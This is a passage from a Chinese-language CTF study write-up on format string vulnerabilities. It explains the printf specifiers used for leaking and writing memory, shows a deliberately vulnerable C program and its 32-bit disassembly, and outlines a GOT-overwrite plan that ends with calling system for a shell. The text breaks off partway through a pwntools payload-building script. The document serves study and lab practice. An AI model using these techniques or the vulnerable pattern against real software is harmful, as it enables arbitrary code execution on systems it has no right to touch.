1 概述
前面学习完成栈溢出的漏洞利用,接下来最长用到的就是格式化字符串了,由于懒散,春节之前耽误的很多时间,这里统一整理一下
学习的过程中,主要参考文章:
格式化字符串利用小结
CTF WIKI
格式化字符串漏洞利用
2 关键知识点
引用参考文件的内容
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),
%$hn表示写入的地址空间为2字节,
%$hhn表示写入的地址空间为1字节,
%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
3 案例
由于32位比较简单,因此优先使用32位程序进行漏洞学习,然后再使用64位,并且关闭栈保护
3.1 源码
#include<stdio.h>
#include<string.h>
int main(int argc, char* argv[]){
char s[0x100] = {
0};
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
memset(s, 0, 0x100);
printf("input:");
fgets(s, 1024, stdin);
int len = strlen(s);
printf("output:%d",len);
printf(s);
puts("good luck")
return 0;
}
3.2 汇编代码
0x0804854b <+0>: lea ecx,[esp+0x4]
0x0804854f <+4>: and esp,0xfffffff0
0x08048552 <+7>: push DWORD PTR [ecx-0x4]
0x08048555 <+10>: push ebp
0x08048556 <+11>: mov ebp,esp
0x08048558 <+13>: push edi
0x08048559 <+14>: push ecx
0x0804855a <+15>: sub esp,0x110
0x08048560 <+21>: lea edx,[ebp-0x10c]
0x08048566 <+27>: mov eax,0x0
0x0804856b <+32>: mov ecx,0x40
0x08048570 <+37>: mov edi,edx
0x08048572 <+39>: rep stos DWORD PTR es:[edi],eax
0x08048574 <+41>: mov eax,ds:0x804a044
0x08048579 <+46>: push 0x0
0x0804857b <+48>: push 0x2
0x0804857d <+50>: push 0x0
0x0804857f <+52>: push eax
0x08048580 <+53>: call 0x8048420 <setvbuf@plt>
0x08048585 <+58>: add esp,0x10
0x08048588 <+61>: mov eax,ds:0x804a040
0x0804858d <+66>: push 0x0
0x0804858f <+68>: push 0x2
0x08048591 <+70>: push 0x0
0x08048593 <+72>: push eax
0x08048594 <+73>: call 0x8048420 <setvbuf@plt>
0x08048599 <+78>: add esp,0x10
0x0804859c <+81>: sub esp,0x4
0x0804859f <+84>: push 0x100
0x080485a4 <+89>: push 0x0
0x080485a6 <+91>: lea eax,[ebp-0x10c]
0x080485ac <+97>: push eax
0x080485ad <+98>: call 0x8048430 <memset@plt>
0x080485b2 <+103>: add esp,0x10
0x080485b5 <+106>: sub esp,0xc
0x080485b8 <+109>: push 0x80486c0
0x080485bd <+114>: call 0x80483d0 <printf@plt>
0x080485c2 <+119>: add esp,0x10
0x080485c5 <+122>: mov eax,ds:0x804a040
0x080485ca <+127>: sub esp,0x4
0x080485cd <+130>: push eax
0x080485ce <+131>: push 0x100
0x080485d3 <+136>: lea eax,[ebp-0x10c]
0x080485d9 <+142>: push eax
0x080485da <+143>: call 0x80483e0 <fgets@plt>
0x080485df <+148>: add esp,0x10
0x080485e2 <+151>: sub esp,0xc
0x080485e5 <+154>: lea eax,[ebp-0x10c]
0x080485eb <+160>: push eax
0x080485ec <+161>: call 0x8048400 <strlen@plt>
0x080485f1 <+166>: add esp,0x10
0x080485f4 <+169>: mov DWORD PTR [ebp-0xc],eax
0x080485f7 <+172>: sub esp,0x8
0x080485fa <+175>: push DWORD PTR [ebp-0xc]
0x080485fd <+178>: push 0x80486c7
0x08048602 <+183>: call 0x80483d0 <printf@plt>
0x08048607 <+188>: add esp,0x10
0x0804860a <+191>: sub esp,0xc
0x0804860d <+194>: lea eax,[ebp-0x10c]
0x08048613 <+200>: push eax
0x08048614 <+201>: call 0x80483d0 <printf@plt>
0x08048619 <+206>: add esp,0x10
0x0804861c <+209>: sub esp,0xc
0x0804861f <+212>: push 0x80486d1
0x08048624 <+217>: call 0x80483f0 <puts@plt>
0x08048629 <+222>: add esp,0x10
0x0804862c <+225>: mov eax,0x0
0x08048631 <+230>: lea esp,[ebp-0x8]
0x08048634 <+233>: pop ecx
0x08048635 <+234>: pop edi
0x08048636 <+235>: pop ebp
0x08048637 <+236>: lea esp,[ecx-0x4]
0x0804863a <+239>: ret
3.3 调试及利用
3.3.1 利用思路
1,覆盖put的got表地址为mian函数,这样就可以反复利用这个漏洞
2,泄露__libc_start_main的真实地址
3,将strlen函数修改为system
4,获得shell
3.3.2 32位利用脚本
from pwn import *
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else<